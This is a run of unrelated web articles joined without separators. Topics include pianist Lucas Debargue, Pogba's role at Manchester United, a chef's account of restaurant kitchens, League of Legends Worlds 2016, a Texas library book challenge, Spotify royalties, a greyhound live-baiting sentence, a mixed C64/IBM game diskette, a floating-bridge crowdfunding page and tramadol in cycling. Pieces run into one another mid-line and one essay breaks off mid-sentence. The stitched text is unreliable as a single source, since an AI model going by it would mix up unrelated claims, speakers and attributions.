It is at this point that I start to worry for a talented and obviously sensitive young man like Lucas Debargue. He is not the first, and certainly won’t be the last, young artist to be thrust into the limelight before he is ready. Unlike the other competition finalists, he has not undergone the long and rigorous traditional professional training which would prepare him for the concert platform: he still needs to hone his stagecraft and, more importantly, learn how to deal with the journalists, agents, promoters, and fans who besieged him as the competition progressed – and continue to. The classical music industry is not a particularly pleasant place, and the world of international pianism is highly competitive, almost ruthlessly so. At the big competitions, representatives from the big artist agencies are waiting to scoop up the winners and runners up, offering tempting contracts, a slew of international engagements, recording deals and more (look how much Martin James Bartlett, winner of the BBC Young Musician of the Year 2014, has done since his win, including several performances at the Proms, and he’s only just 19; he has, however, undergone a professional training in specialist music school and conservatoire). It’s true that success in an international competition can make an artist – but it can break one too. From the moment one chooses the life of the international concert pianist, one lives in the public eye: every performance and recording is held up for scrutiny, and one is under almost continual pressure to meet the expectations of agents, promoters, fickle audiences, critics and fans.
The life of the concert pianist is tough, restrictive and lonely. In addition to the many hours of solitary practise, there is the travelling, nights spent in faceless hotels, fine historic cities viewed through a fog of fatigue, never having the option to be less than perfect, even if one is ill or tired, knowing that one is judged on one’s last performance (here I recall the unpleasant hoopla surrounding Ivo Pogorelich’s London concert in February). The pressure can be unbearable if one is not equipped to handle it. (Read Charles Beauclerk’s excellent and sympathetic biography of John Ogdon for some brutal insights into the life of the international concert pianist. For Ogdon, the piano was his saviour and his tormentor, and there is no question that the pressure of so much traveling to perform around the world contributed to his breakdown.)
Add to this that peculiarly British fascination with the maverick, the eccentric, the tortured genius with the unconventional “backstory”. We risk endangering Debargue further by holding him up as curiosity, instead of allowing him to develop and mature in his own time. There is something very authentic about his playing, his particular soundworld and his special and personal connection to the music which has clearly touched people.
Lucas Debargue plays Ravel – ‘Gaspard de la Nuit’
In his interview with Ismene Brown, Debargue talks of having few friends and little support from his family. His teacher was his mentor and supporter, encouraging him to take a tilt at the Tchaikovsky Competition and saying when he got through the first round “It doesn’t matter when you pass or not, it’s really good that you are here to play and I am grateful and proud of you.” He has yet to develop the necessarily resilience, thick skin and artistic temperament to survive the “wild west” of the international concert circuit, and I only hope that whoever he chooses to manage him, should he decide to go down that route, is sympathetic and puts his well-being before all else. Otherwise, I dread to think what might happen….
So please let’s allow him – and others like him – to develop at his own pace to emerge onto the international circuit, should he choose that path, when he is truly ready. To conclude this article, I think it is worth quoting a comment on Peter Donohoe’s piece for Slipped Disc about the competition (Peter was a juror this year):
Aside from all of this, what happens to each of these young artists remains to be seen. How will they carry on with their studies as musicians? Which repertoire will they cultivate? Will they develop chamber music careers, teaching, new works, recordings? This is what is most important as they begin to soul search and decipher how and what they will contribute to the world of music outside of the usual parameters. (Jeffrey Biegel)
Read Peter Donohoe’s thoughtful and intelligent article here.
View clips of Lucas Debargue’s performances in the International Tchaikovsky Competition
Frances Wilson is a pianist, piano teacher, concert reviewer and blogger on classical music and pianism as The Cross-Eyed Pianist. In addition to her blog, she writes a regular column on aspects of piano playing for Pianist magazine’s online content, and is also a writer for Hello Stage and InterludeHK.
www.crosseyedpianist.com
Twitter @CrossEyedPianoPaul Scholes insists Jose Mourinho should partner Paul Pogba with Michael Carrick to get the best out of the Frenchman.
Since his transfer from Juventus as the world’s most expensive player, Pogba has made a steady start, but hasn’t been able to live up to the expectations of fans.
He is still adapting to life under Jose Mourinho but fans on social media felt he was starting to look lost in his free role at the centre of the park.
Speaking about his talent, Scholes claims Carrick could replicate Pogba’s relationship with Pirlo and Marchisio.
“He’s not the greatest controller of a football game,” he said.
“You have to remember he came from a brilliant team at Juventus. Andrea Prilo and Claudio Marchisio could control the game and let him go and do his thing.
“I would like to see Carrick with him. He can direct him and tell him where to go.”
Pogba has been criticised by pundits for his positional discipline, as he is always looking to get forward which can often leave United’s defence exposed.
Carrick has not featured for Man United since the Community Shield, but we could see him in action this month with a busy schedule ahead.
Mourinho played Pogba further forward against Feyenoord, but his positional change came as a result of Wayne Rooney being left at home to rest for the Watford fixture.
The Portuguese boss will need to work out what he wants from his midfield, but having too many players can never be a negative as he now has different options to counter his opposition.Good food, good eating, is all about blood and organs, cruelty and decay. It’s about sodium-loaded pork fat, stinky triple-cream cheeses, the tender thymus glands and distended livers of young animals. It’s about danger—risking the dark, bacterial forces of beef, chicken, cheese, and shellfish. Your first two hundred and seven Wellfleet oysters may transport you to a state of rapture, but your two hundred and eighth may send you to bed with the sweats, chills, and vomits. Gastronomy is the science of pain. Professional cooks belong to a secret society whose ancient rituals derive from the principles of stoicism in the face of humiliation, injury, fatigue, and the threat of illness. The members of a tight, well-greased kitchen staff are a lot like a submarine crew. Confined for most of their waking hours in hot, airless spaces, and ruled by despotic leaders, they often acquire the characteristics of the poor saps who were press-ganged into the royal navies of Napoleonic times—superstition, a contempt for outsiders, and a loyalty to no flag but their own. A good deal has changed since Orwell’s memoir of the months he spent as a dishwasher in “Down and Out in Paris and London.” Gas ranges and exhaust fans have gone a long way toward increasing the life span of the working culinarian. Nowadays, most aspiring cooks come into the business because they want to: they have chosen this life, studied for it. Today’s top chefs are like star athletes. They bounce from kitchen to kitchen—free agents in search of more money, more acclaim. I’ve been a chef in New York for more than ten years, and, for the decade before that, a dishwasher, a prep drone, a line cook, and a sous-chef. I came into the business when cooks still smoked on the line and wore headbands. A few years ago, I wasn’t surprised to hear rumors of a study of the nation’s prison population which reportedly found that the leading civilian occupation among inmates before they were put behind bars was “cook.” As most of us in the restaurant business know, there is a powerful strain of criminality in the industry, ranging from the dope-dealing busboy with beeper and cell phone to the restaurant owner who has two sets of accounting books. In fact, it was the unsavory side of professional cooking that attracted me to it in the first place. In the early seventies, I dropped out of college and transferred to the Culinary Institute of America. I wanted it all: the cuts and burns on hands and wrists, the ghoulish kitchen humor, the free food, the pilfered booze, the camaraderie that flourished within rigid order and nerve-shattering chaos. I would climb the chain of command from mal carne (meaning “bad meat,” or “new guy”) to chefdom—doing whatever it took until I ran my own kitchen and had my own crew of cutthroats, the culinary equivalent of “The Wild Bunch.” A year ago, my latest, doomed mission—a high-profile restaurant in the Times Square area—went out of business. The meat, fish, and produce purveyors got the news that they were going to take it in the neck for yet another ill-conceived enterprise. When customers called for reservations, they were informed by a prerecorded announcement that our doors had closed. Fresh from that experience, I began thinking about becoming a traitor to my profession.
Say it’s a quiet Monday night, and you’ve just checked your coat in that swanky Art Deco update in the Flatiron district, and you’re looking to tuck into a thick slab of pepper-crusted yellowfin tuna or a twenty-ounce cut of certified Black Angus beef, well-done—what are you in for? The fish specialty is reasonably priced, and the place got two stars in the Times. Why not go for it? If you like four-day-old fish, be my guest. Here’s how things usually work. The chef orders his seafood for the weekend on Thursday night. It arrives on Friday morning. He’s hoping to sell the bulk of it on Friday and Saturday nights, when he knows that the restaurant will be busy, and he’d like to run out of the last few orders by Sunday evening. Many fish purveyors don’t deliver on Saturday, so the chances are that the Monday-night tuna you want has been kicking around in the kitchen since Friday morning, under God knows what conditions. When a kitchen is in full swing, proper refrigeration is almost nonexistent, what with the many openings of the refrigerator door as the cooks rummage frantically during the rush, mingling your tuna with the chicken, the lamb, or the beef. Even if the chef has ordered just the right amount of tuna for the weekend, and has had to reorder it for a Monday delivery, the only safeguard against the seafood supplier’s off-loading junk is the presence of a vigilant chef who can make sure that the delivery is fresh from Sunday night’s market. Generally speaking, the good stuff comes in on Tuesday: the seafood is fresh, the supply of prepared food is new, and the chef, presumably, is relaxed after his day off. (Most chefs don’t work on Monday.) Chefs prefer to cook for weekday customers rather than for weekenders, and they like to start the new week with their most creative dishes. In New York, locals dine during the week. Weekends are considered amateur nights—for tourists, rubes, and the well-done-ordering pretheatre hordes. The fish may be just as fresh on Friday, but it’s on Tuesday that you’ve got the good will of the kitchen on your side. People who order their meat well-done perform a valuable service for |
Counter Logic Gaming Before Worlds 2016, if you’d told fans that Counter Logic Gaming would go 2–0 against G2 and 1–1 against ROX, they’d be ecstatic. But if you paused after that and just stared at them, slowly, surely, they’d start to furrow their brows and ask you, “What about ANX?” And you wouldn’t have to answer.
G2 Esports They just couldn’t manage to translate their strengths — the dominance of Trick and their bot lane — onto the Worlds stage. It seemed as if early struggles compounded throughout the matches. At times, the team’s individual mechanical gaffes were stunning. As was their early exit.
ROX Rox Tigers 5-2 4-3 3-3 1-5 ANX Albus NoX Luna 4-3 3-3 1-5 5-2 CLG Counter Logic Gaming 3-3 1-5 5-2 4-3 G2 G2 Esports 1-5 5-2 4-3 3-3
SKT C9 IM FW
SK Telecom T1 The returning champs came in with a chip on their shoulder after stumbling in the 2016 LCK Summer Playoffs. But after a dominant Group Stage performance, we were quick to remember that the path to a championship must go directly through SKT.
Cloud9 Cloud9 became the first NA team to escape the Group Stage in two years, ensuring the region would avoid another embarrassing start. It wasn’t a clean escape — they struggled to capitalise on openings, but they’d at least get another chance.
IMay Kennen support? Sure. Kha’Zix in the jungle? Let’s go. They played their own style to take two games off the Flash Wolves — heavily shaping the outcome of the group. For a team that went from China's LoL Secondary Pro League to the World Championship over the course of a split, this was a respectable showing.
Flash Wolves Worlds 2016 was sand slipping through the Flash Wolves’ fingers. They were among the most dominant early game teams. They secured first turret gold and first blood in nearly all of their games but failed to materialise wins from there. Their fangs couldn’t back their howl.
SKT SK Telecom T1 5-1 3-3 2-4 2-4 C9 Cloud9 3-3 2-4 2-4 5-1 IM IMay 2-4 2-4 5-1 3-3 FW Flash Wolves 2-4 5-1 3-3 2-4
H2K EDG AHQ ITZ
H2K What H2K showed in Week 2 of the Group Stage was an ability to transition their strong laning phase into good mid and late game macro decisions. They knew to play to their strengths, which was lane dominance. And FORG1VEN proved he was a world class ADC by standing toe-to-toe with the likes of Deft.
Edward Gaming EDG bounced back, as Jatt said, like “a wet tennis ball” after recovering from their Week 1 loss to INTZ e-Sports. Clearlove played reactively, perhaps rattled by overconfidence going into Worlds. Like ROX, they were a major favourite ahead of Group Stage, but failed to match the hype. But also like ROX, they still advanced.
ahq e-Sports Club Thanks to strong rotations, ahq had the Quarterfinals right at their fingertips in their final scheduled match of the Group Stage against EDG. They lost despite a 10K gold lead and a fed Jinx. It was indicative of their Group Stage here at Worlds: a little good, a little bad, and in the end, not enough.
INTZ e-Sports ITZ peaked a little too early this competition. Perhaps the engine fuelling their aggressive plays ran out of gas. Their day one win over EDG was the stuff of legends, but that hype deflated quickly. They couldn’t repeat that performance and fizzled out from there.
H2K H2K 5-2 4-3 3-3 1-5 EDG Edward Gaming 4-3 3-3 1-5 5-2 AHQ ahq e-Sports Club 3-3 1-5 5-2 4-3 ITZ INTZ e-Sports 1-5 5-2 4-3 3-3
SSG RNG TSM SPY
Samsung Galaxy Even with a bad early loss against TSM, Samsung Galaxy had the strongest performance of their group. In particular, mid laner Crown shined. The third seed from Korea — supposedly the region’s worst representative — served as a sort of taunt to the rest of the World -- one that suggested the gulf between the LCK and everyone else is as big as it seems.
Royal Never Give Up Royal Never Give Up would have queued up for ARAM if that was an option — this was a group that loved to team fight. If Uzi could get rolling, then the team could rally behind him. It was like watching a boxer who only knew how to throw haymakers.
TSM 2015’s 0-10 was heartbreaking, but by the 7th or 8th loss, the NA faithful had become accustomed to pain. There wasn’t ever doubt as to where the nail would eventually sit. For TSM last year to be knocked out on the final match of their year, though? And to be eliminated via tiebreaker? That was something else. This was the most hyped North American team ever. But even they went home with nothing.
Splyce In the broad context of the year, Splyce’s tournament appearance was incredible when compared to nearly being relegated after the 2016 EU Spring Split. But they frequently looked outmatched and outpaced on the Worlds stage. The young team couldn’t keep up with the veterans in their group.Take a look inside the new Dell Seton Medical Center Copyright by KXAN - All rights reserved Copyright by KXAN - All rights reserved Exterior of Dell Seton Medical Center at University of Texas (KXAN Photo/Ed Zavala) TOUR the new Dell Seton Medical Center at the University of Texas Exterior of Dell Seton Medical Center at University of Texas (KXAN Photo/Ed Zavala) prev next
AUSTIN (KXAN) -- At the new $310 million Dell Seton Medical Center at The University of Texas, construction workers are busy putting in the work needed to get the building ready for a 2017 opening date. The hallways are currently empty but in a few short months, they'll be buzzing with medical students, staff and patients.
Construction is slated for completion in February but patients from University Medical Center Brackenridge won't be transferred to the new teaching hospital until May. The 517,000-square-foot Level 1 Trauma hospital at 1500 Red River St. will have two helicopter pads, 13 operating rooms and 211 beds.
The hospital's original budget was $295 million, but that ballooned by another $15 million over the past year. In November 2012, Travis County voters passed Proposition 1 that raised Central Health's tax rate by 5 cents to help fund the new Dell Medical School. The passage of the tax rate increase also put into action plans by the Seton Healthcare Family to fund and build the new teaching hospital.
What will happen with UMCB? Most of it will be torn down to create a mixed-use development, including options for office, retail, residential and hotel space.The presence of two LGBT books in the children’s section of the Hood County Library alarms members of the community near Dallas. One of the books invites readers to attend a gay pride celebration. The other describes a young boy who likes pink, wears dresses, and dons a princess tiara.
The residents circulate “challenge forms” boasting more than 50 signatures, according to WFAA8, Dallas-Fort Worth.
The Hood County library lies in Granbury, Texas, 35 miles southwest of Fort Worth.
The two books causing the uproar are My Princess Boy and This Day in June.
This Day in June features brightly colored illustrations, one of a mother holding a book entitled, “I [photo of heart] My Gay Sons.” Two young men surround her. Others hold a rainbow flag while watching a gay pride parade. Websites selling the book say that it aims to invite children to attend a gay-pride parade and to give respect to homosexuals. One of the illustrations includes the caption: “Clad in Leather/Perfect Weather.”
This YouTube video portrays the illustrations and theme of the book:
Amazon Books writes that This Day in June won a 2015 Notable Books for Global Society Award, stating:
In a wildly whimsical, validating, and exuberant reflection of the LGBT community, This Day In June welcomes readers to experience a pride celebration and share in a day when we are all united. Also included is a Reading Guide chock-full of facts about LGBT history and culture, as well as a Note to Parents and Caregivers with information on how to talk to children about sexual orientation and gender identity in age-appropriate ways. This Day In June is an excellent tool for teaching respect, acceptance, and understanding of lesbian, gay, bisexual, and transgender people.
The director of the library, Courtney Kincaid, told WFAA8, “We are here to serve the entire community.” She continued that the library was there to serve “not just certain religious groups or political groups.” She said, “Lesbians and gays are in this community, and they deserve to have some items in this collection as well.”
Rose Myers, a Granbury city council member, said a constituent approached her and raised questions about the books placed in the children’s section of the library. The constituent’s little girl asked her mother about one of the books.
Council member Myers released a statement that included the question: “Can a four-year-old understand the content of this book without the help of an adult?”
According to WFAA8’s report, the challenges were presented to the Hood County Library Advisory Board, and the board voted to retain the books in the library.
Hood County Commissioners look to address the issue at a July commissioner’s court meeting.
Hood County clerk, Katie Lang, has been in the news recently for refusing to personally issue gay-marriage licenses. The county clerk refrains from issuing marriage licenses to same-sex couples but deputy clerks in her office do. Lang told media outlets on the day of the release of the U.S. Supreme Court same-sex marriage opinion that she would not be issuing marriage licenses.
Lana Shadwick is a contributing writer and legal analyst for Breitbart Texas. Follow her on Twitter@LanaShadwick2Dell makes an attempt at viral marketing with a new YouTube ad. Will it be a success? Highly questionably based on the amount of money they probably put into this, but the ad definitely could be worse.The video page on YouTube is being inundated with garbage comments, most likely a social media optimziation stunt by the marketing company Dell hired in order to generate buzz and bump up the video on YouTube's most commented lists. It's kind of funny, but check out the YouTube video page to see all of the nonsensical comments that are being made, most likely by staff of Dell Marketing, or the marketing firm they outsourced to."Envisioneer a better future for your business"Betterin2008.com was launched to help promote Windows Server 2008 and Dell server hardware. They at least make an interesting marketing apparoach, and have a pretty cool site to market this.The war of words continues between music streaming service Spotify and powerful pop icon Taylor Swift. After Swift removed her entire catalog from the streaming service last week, Spotify boss Daniel Ek said that she, along with other mainstream artists, was on track to earn over $6 million in royalties this year. But Scott Borchetta, CEO of Swift's label Big Machine, has countered that claim, saying that the "Shake It Off" singer had earned less than $500,000 from Spotify streams in the US in the last 12 months.
A Spotify spokesperson told Time that Swift had been paid a total of $2 million over the last 12 months for the global streaming of her songs, but Borchetta still maintains that Spotify is a blight on the music industry. "The facts show that the music industry was much better off before Spotify hit these shores," he said, clarifying the amount Spotify paid out over the last year as "the equivalent of less than 50,000 albums sold." According to Borchetta, Swift earns more from her videos on Vevo than she did from having her music on Spotify.
Spotify paid Swift "the equivalent of less than 50,000 albums sold"
Of course, half a million dollars in a vacuum is an impressive figure, but Swift is phenomenally successful in terms of sales, and one of a few remaining mega pop stars. Her most recent album, 1989, became the first this year to sell more than a million copies in a week — a feat only equaled by 18 albums in history. Unlike most, Taylor Swift can make millions off the back of traditional album sales, but by keeping her music away from Spotify even as it begs for her to come back, she and Borchetta say they're trying to make the larger point that the service doesn't pay its artists a reasonable fee. "[Taylor Swift] is the most successful artist in music today," Borchetta says. "What about the rest of the artists out there struggling to make a career?"Alice by Jan Švankmajer Jan Švankmajer (born 4 September 1934) is a Czech filmmaker and artist whose work spans several media. He …
League of Legends Cinematic trailer by Digicpictures In their latest push for Season 2019, the development team has released a new trailer …
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Sledgehammer by Aardman Animations “Sledgehammer” is a song by English rock musician Peter Gabriel. It was released as the lead single from …
Mike’s New Car by Pixar Mike’s New Car is a 2002 Pixar computer animated short comedy film, starring the two …
Things You Need To Know by Compost Creative A mash up of our favourite shots from the new BBC2 series “James May’s Things …
BBC2 Idents 2018 UK brand agency Superunion calls on an array of UK and international studios to rebrand …
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Ink In The Water by Wryfield Lab https://www.youtube.com/wryfieldlab/ Related posts: The European refugee crisis explained in six minutes Jeu by Georges Schwizgebel …Google is developing an Android-powered gaming console, the Wall Street Journal reports citing "people familiar with the matter."
The company is also developing an Android-powered, internet-connected wrist watch and is aiming to release one of the devices this fall, according to the Wall Street Journal's sources. The sources frame the devices as anticipatory measures designed to compete with Apple, which Google apparently believes may release a console component with its next Apple TV as well as a watch.
During its WWDC 2013 keynote presentation earlier this month, Apple revealed that iOS 7, the upcoming version of the operating system that powers the iPhone, iPad and Apple TV, would support third-party game controllers. Android already supports third-party controllers, like PowerA's Moga series.
Android, Google's mobile and tablet operating system, already powers a handful of micro-consoles, including the just-launched Ouya and PlayJam's GameStick. According to the Wall Street Journal, Google plans to design and market the console and watch itself. For more on the third-party Android-based consoles, be sure to check out Polygon's coverage from CES 2013.
Google filed for a patent related to a "smart-watch" in May of this year, and a report earlier this year said that the Android division was developing the device. Apple is also rumored to be developing a watch. Earlier this year, sources told the Verge that it would run iOS and be released later this year. At the D11 conference in May, Apple CEO Tim Cook expressed interest in wearable technology.CGI Federal Inc., the mastermind behind healthcare.gov, is assisting the U.S. Department of Housing and Urban Development (HUD) in the distribution of $1.7 billion in relief for Hurricane Sandy.
In a memo obtained by FreedomWorks titled, “Minutes of the 295th meeting of the members of the Housing Trust Fund Corporation held on May 9, 2013, at 8:30 a.m.,” CGI Federal is tasked with implementing the Disaster Housing Assistance Program. Additionally, they are asked to aid in the implementation of the Community Development Block Grant Disaster Recovery Program, an assistance program that had recently obtained $1.7 billion.
Item five of the meeting agenda reads:
Mr. Nelson presented that the State received a $1.7 billion allocation in CDBG Disaster Recovery aid from HUD to aid impacted businesses and residences. He stated that the State’s Action Plan was approved on April 26, 2013 and HTFC is currently in a phase of implementing the program. He stated that in this phase, the corporation needs to stand-up its recovery programs as soon as possible to deliver critical resources, and in order to do so, the corporation requires immediate access to consultant services to assist in policy and procedure development, training, surge capacity, and call center assistance, and stated that CGI Federal Inc. could provide such services.
The resolution was passed and scheduled to “take effect immediately.”
The Associated Press revealed Tuesday that a mere $700 million of the $60 billion federal aid package – 1.2 percent of the total funds – has been given to victims of super storm Sandy.
Nearly a year after the devastating storm, a majority of the 24,000 families that have requested monetary assistance have yet to receive a penny from the federal aid package.Greyhound live baiting: Former trainer Tom Noble receives suspended jail sentence
Updated
Former Queensland greyhound trainer Tom Noble has been handed a three-year, wholly suspended jail sentence after pleading guilty to animal cruelty.
Noble was charged with 15 counts of animal cruelty last year during a joint police and RSPCA investigation, after the ABC's Four Corners program exposed widespread live baiting, including at Noble's Churchable property, north of Gatton.
In the Ipswich District Court today, Noble's sentence was suspended for five years, after he pleaded guilty in a separate appearance last week.
In handing down the sentence, Judge Alexander Horneman-Wren described live baiting as a "barbaric act".
"These offences are abhorrent to all right-thinking members of the public," he said.
He noted Noble was "entirely unlikely" to offend in the future after being banned from the greyhound industry and facing public outrage.
"There remains, in my view, some potential that others may be tempted to engage in such activities … there's a profit motive in racing," he said.
Judge Alexander said Noble had been involved in the industry for more than 50 years, and was introduced to live baiting techniques decades ago.
He said Noble's kangaroo shooting and pig hunting had contributed to his detachment about feral animals.
But he said shooting was a vastly more humane death than the terror experienced by animals exposed to the "ferocity of greyhound dogs for the very purpose of developing a bloodlust within them".
Sentence a'setback': RSPCA
RSPCA spokeswoman Georgia Sakrzewski said Noble's sentence was inadequate.
"Somebody who's done something so serious over such a long period of time, for them to receive three years and not go to prison I would absolutely consider that to be a setback," she said.
Ms Sakrzewski said serious animal cruelty legislation was introduced last year to deal with these type of offences.
"The maximum penalty for that legislation is seven years' imprisonment. I cannot think of too many scenarios that involved such significant cruelty to animals over such an extended period of time," she said.
"So therefore we were hoping that Mr Noble would receive a significant sentence. Certainly we were hoping he'd be required to serve some degree of imprisonment."
Judge 'took health status on Nobles into account'
Outside court, Noble's lawyer Danielle Heable said her client was happy with the sentence.
"His honour did take into account that he had been vilified in the media and experienced some backlash from the charges before the court," she said.
"That was obviously a consideration of the court in handing down the sentence.
"It allows him an opportunity to go home and be present with his family and take care of his wife.
"I think the sentence took into account Mr Noble's personal circumstances his health status, and that of the health status of his wife, and his requirement to be there to care for and look after her needs and to care for his own health issues."
In sentencing submissions last week, defence lawyer Angus Edwards said Noble had been ostracised from the greyhound industry and become the "poster boy" for live baiting in Queensland.
Topics: gambling, sport, courts-and-trials, animal-welfare, ipswich-4305
First postedAs an IBM PC historian, one aspect of my hobby is archiving gaming software. (You can take that statement to mean anything you want — whatever you think of, you’re probably right.) At the 2008 ECCC this past Saturday, a vendor wanted to offload his entire PC stock on me for $5, which I happily accepted since there was at least one title in there (Martian Memorandum) worth that much. When I got home, however, I found two additional Avantage (Accolade’s budget publishing title) titles that have not yet been released “into the wild”. This means there are no copies of these games floating around on Abandonware sites. For me, this was like finding actual gold nuggets in a collection of Pyrite.
The two games I got were Mental Blocks and Harrier7, so they join my third Avantage title Frightmare. I decided to archive all three properly, and it was when I got to Mental Blocks that I ran into something I’d never seen before: The manual for Mental Blocks claims that, for both C64 and IBM, you put the diskette in label-side up. I thought that had to be a typo, since every single mixed C64/IBM or Apple/IBM diskette I have ever seen is a “flippy” disk where one side is IBM and the other side is C64 or Apple — until I looked at the FAT12 for the disk and saw that tons of sectors in an interleaved pattern were marked as BAD — very strange usage.
A DIR on the disk shows that only about 256K of it is usable as space, instead of 360K. My Central Point Option Board’s Track Editor (TE.EXE) confirmed that every other track on side 0 cannot be identified as MFM data. So the manual is correct, and this truly is a mixed-format, mixed-architecture, mixed-sided diskette.
This diskette has officially blown my mind.
This is the very first time I have ever seen something like this. The data for the IBM program takes up more than 160KB as evidenced by a DIR. The C64 1541 drive is a single-sided drive; IBM’s is double-sided. Based on all this, we can deduce how this diskette is structured and why:
– The IBM version of the game required more than 160KB (ie. needed more than one side of a disk), probably because it has a set of files for CGA/Herc (4/2 colors) and another for EGA/Tandy (16 colors) and either set will fit in 160K but both won’t
– The C64 version required around 80K, based on the fact that every other track is unreadable by an IBM drive
– The publisher had the requirement of using only a single disk to save on packaging and media costs
– Not wanting to limit the game to either CGA or EGA, someone at Artech (the developer) built the format of this diskette BY HAND so that DOS would not step on the C64 tracks, and somehow the C64 would also read/boot the disk
I don’t know how the C64 portion boots since track 0 sector 0 looks like a DOS boot sector, but quick research shows that C64 disks keep their index on track 18. If anyone knows how C64 disks are read and boot, I’d love to know.
I think I need to go on a mission to discover who built the disk format(s) by hand to see what he was thinking. Did he work on it for weeks, feverishly trying to figure out how to meet the publisher’s demands? Or was he so brilliant that he did it all in a day or so, not thinking too much about it other than it was just another facet of his job? Fascinating stuff!
Just goes to show that you can still get surprises in this hobby after 25 years, even after being considered one of the top 20 “subject experts” for PC oldwarez. I guess you truly can never see it all.Current Rendering, Fall 2015
The first citizen-built and longest temporary bridge in New York City history, Citizen Bridge is a floating pedestrian bridge to reclaim the city’s waterways as public space. As a 1400-foot span from Brooklyn to Governor's Island, Citizen Bridge will offer participants an experience of the New York City harbor unlike any other. It is designed to create an intimate experience of being with the water, rather than seeing it from the shore, above from a bridge, or in transport by boat or ferry.
Why we need your backing
Citizen Bridge is about the collective power of citizens to reshape their cities, from the waterline up. Normally, large pieces of infrastructure are instruments of political will; in this case, Citizen Bridge is an act of community goodwill. The bulk of the work on this project has been entirely volunteer-based with nearly 200 individuals—from neighborhood kids to writers and boat captains—across various backgrounds giving their expertise and time to get the project this far. We have come extraordinarily far in the design and regulatory development of the project. We are now at a point where we can't advance further without you.
Proposed pathway location
Why now?
Between the changing climate and ever-expanding city population, the waterways present a unique opportunity. With increasingly urgent predictions about weather events and sea-level rise, especially in coastal cities like New York City, water will impact our future in many ways. As populations rise, personal space and public space will decrease, but the waterways that surround us are a virtually untapped resource. They are our backyard, a space and place to relax that’s free to everyone. Now is the time to reconnect to the waterways and regain them as our own. Citizen Bridge is the catalyst to begin that process.
An annual & international vision
Because of current waterways usage, Citizen Bridge can only be installed for a 24-hour span. However, we aren’t doing all this work for a single day: we aim to return year after year. Inspired by New York City’s Summer Streets program that closes nine miles of Park Avenue to weekend automobile traffic, Citizen Bridge aspires to Summer Waterways, where locals and tourists alike can have new experiences on the waterways, free from large commercial marine traffic. And because the climate change challenges facing New York City aren’t unique, and citizens all over the United States and beyond have become disconnected from their waterways, Citizen Bridge also aims to travel to waterways beyond Brooklyn.
A Rigorous Research & Development Process Citizen Bridge is in its fourth year of development. During that time, we’ve engaged in a wide variety of artistic, technical, community- and consensus-building activities and have contacted all the necessary regulatory agencies. We have learned the concerns of those that manage traffic on the waterways, protect the natural ecology of the waterways and those that oversee safety and security, as well as those who own the land on either side of Buttermilk Channel.
So far, we have prototyped seven bridge designs in full-scale sections. The first six were designed, crafted and tested by teams of students, designers, boat-builders and fellow Brooklyners. That process garnered the interest of engineers at Thornton Tomasetti, a top global engineering firm whose expertise ranges from bridges to mobile buildings to submarines, and Glosten, a marine engineering firm whose expertise with floating structures is world-renown.
Together, we designed and built the Superblock Prototype, our seventh and the first full engineered prototype, last summer. The Superblock’s success paved the way for our next phase, a proof-of-concept span that will deepen our understanding of operations, logistics, and safety systems as well as integrate anchorage systems into the design for the first time.
The Citizen Bridge Team
Today, the Citizen Bridge team includes expertise in structural and marine engineering, large-scale artworks and mobile architecture, New York City construction and bureaucracy, marine construction, architecture, environmental law, and event production. To date the project has been supported by extraordinary New York City and Brooklyn arts institutions like the Lower Manhattan Cultural Council, Recess, Pioneer Works, and Eyebeam. We have been generously supported by the Brooklyn Arts Council, Two Trees Management, and Estate4.
Superblock Prototype, Citizen Bridge No. 7
Collaboration on Prototype No. 2, 2013
Citizen Bridge won't continue without your help.
We've come this far thanks to Two Trees Management, Estate4, Brooklyn Arts Council, Recess, Eyebeam, Pioneer Works, Thornton Tomasetti, Glosten, Gotham Drywall, iDEKO, DLA Piper US, Stroock, Stroock & Lavan LLP as well as all the contributors listed below:
Contributors to date
REWARDS
Between Land and Sea, An Alphabet
NOAA map collage
CITIZEN & BRIDGE T-shirts: choose or get both!
CITIZEN & BRIDGE baseball caps: choose or get both!
Silk-screened postcard setAlthough there is growing concern about the use of the powerful painkiller tramadol in cycling, the World Anti Doping Agency has confirmed to CyclingTips that it is not currently envisaged that the substance will be added to the prohibited list in 2015.
According to a WADA spokesperson the painkiller, which has been described by some professional riders as having performance enhancing capacities and which has been anecdotally linked to a number of crashes in races, could retain its current status as a monitored substance rather than being banned.
If so, it means that while WADA would test for it and note the extent of its use, that riders would not be prevented from using it.
The spokesman underlined that a final decision is yet to be made and that the months ahead will likely see debate on this issue.
“Tramadol was added to the monitoring programme back in 2012,” he told CyclingTips. “It has remained on our programme for 2014 and the latest is that it has been added to our draft monitoring programme for 2015. So we propose that it remains on our watch list, that it continues on the monitoring programme.
“That is open for consultation over the next few months until September. That programme would then be approved at our executive committee meeting, along with the prohibited list.”
Tramadol became a major topic of conversation in October 2012 when Taylor Phinney spoke at length to VeloNation.com on the use of the substance in the sport.
“You see so many late-race stupid crashes that I almost wouldn’t be surprised if some or most of those crashes are caused by people taking these hard-hitting painkillers at the end of races,” he told this writer, referring to tramadol and other similar substances.
“There is widespread use of finish bottles, which are just bottles of crushed up caffeine pills and painkillers. That stuff can make you pretty loopy, and that is why I have never tried it. I don’t even want to try it as I feel it dangerous.”
Aside from having risks of increasing crashes in the bunch, Phinney added that he felt the substances were also potentially a gateway to harder products. “I do think in a way that painkillers could either be a stepping stone to something bigger, or perhaps a step down for maybe an older pro who has had a sketchy past, who has got used to racing with something and has to have something,” he said then.
“From there, there is a whole argument about things like cortisone; people can invent a knee injury and get a TUE for that substance. Using that would definitely enhance your performance.
“If it was up to me, I would say if you need cortisone, you shouldn’t be racing. You should get that injury fixed and then you can come back, but you are not racing any more in the meantime.
“It is the same thing with painkillers or something like Sudafed. If you wake up with a fever and you need to take some sort of painkillers to be racing, then you probably shouldn’t be racing in the first place and your team doctor should be worried about your health and send you home.”
The debate about such grey area products has continued since then. More recently former US Postal Service, Discovery Channel and Team Sky pro Michael Barry admitted using banned substances for much of his career. He said that he was racing clean in his latter years but, while competing with Team Sky, said that he and others used tramadol.
He accepts now that even if it didn’t break rules, that it was dangerous. He is also clear about the performance benefits, likening it to using prohibited substances such as EPO.
“Tramadol is something different from an over-the-counter analgesic,” he wrote in his book, Shadows on the Road. “It is a controlled opioid that is potentially addictive and has a long list of adverse effects.
“When I crashed and broke ribs on the second day of the Tour de France, I took tramadol to alleviate the pain. The drug made me feel slightly euphoric. It made my legs feel painless. I could push harder than normal. It was as performance enhancing as any banned drug I had taken, but with a major difference: it was legal.”
Responding to Barry, Team Sky didn’t address whether or not the substance was used by its riders during the period specified. Instead, it simply denied it was in use at this point in time.
WADA deliberations: Why is it not banned?
